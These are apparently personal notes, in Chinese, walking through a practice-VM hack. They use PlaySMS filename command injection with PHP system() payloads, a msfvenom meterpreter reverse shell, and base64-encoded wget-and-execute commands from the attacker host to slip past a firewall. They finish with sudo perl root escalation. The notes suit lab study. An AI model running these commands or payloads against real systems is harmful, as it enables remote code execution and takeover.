靶机106攻击机109
这个不能被骗了拉,要查看源代码,不是真的什么都没有!
secure目录下载的backup需要密码
看到是mp3文件,不一定真的是mp3文件
file查看发现是文本文件,用cat 给出网址,用户名
利用挖掘到的用户名和密码登陆系统,对系统是否使用某种CMS,SMS等进行查看
利用EXP渗透
searchsploit 系统
searchsploit PlaySMS
网站也可使用https://www.exploit-db.com/exploits/42003/
将Index.php后的内容复制到网址后面即可找到渗透点
touch 1.csv
这句话意思是你可以将filename 改成<?php system('uname -a'); dia();?>.php
<?php system('id'); die();?>.php
可见存在命令注入漏洞
准备shell
启动metasploit监听 攻击机地址
use exploit/multi/handler
set payload linux/x86/meterpreter_reverse_tcp
set lhost 192.168.1.109
exploit
生成shell
msfvenom 攻击机地址
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.1.109 lport=4444 -f elf > /var/www/html/shell
没有直接方式可以将shell发送到靶场机器
只能通过靶场机器来下载这个文件执行反弹shell
用apache服务器让靶场远程下载这个文件
绕过防火墙,上传shell
利用base64绕过防火墙检测
echo 'wget http://攻击机Ip/shell -O /tmp/shell' | base64
echo 'chmod 777 /tmp/shell' | base64
echo '/tmp/shell' | base64
利用burp抓包修改filename
<?php system(base64_decode('base64encodestring')); die();?>.php
我攻击机ip写成靶场ip了,没反弹shell,重发了一遍
首先要用输入命令shell
查看id和sudo的权限
发现www-data用户可以不需要密码
提升权限
sudo perl -e "exec '/bin/sh' "
bash -i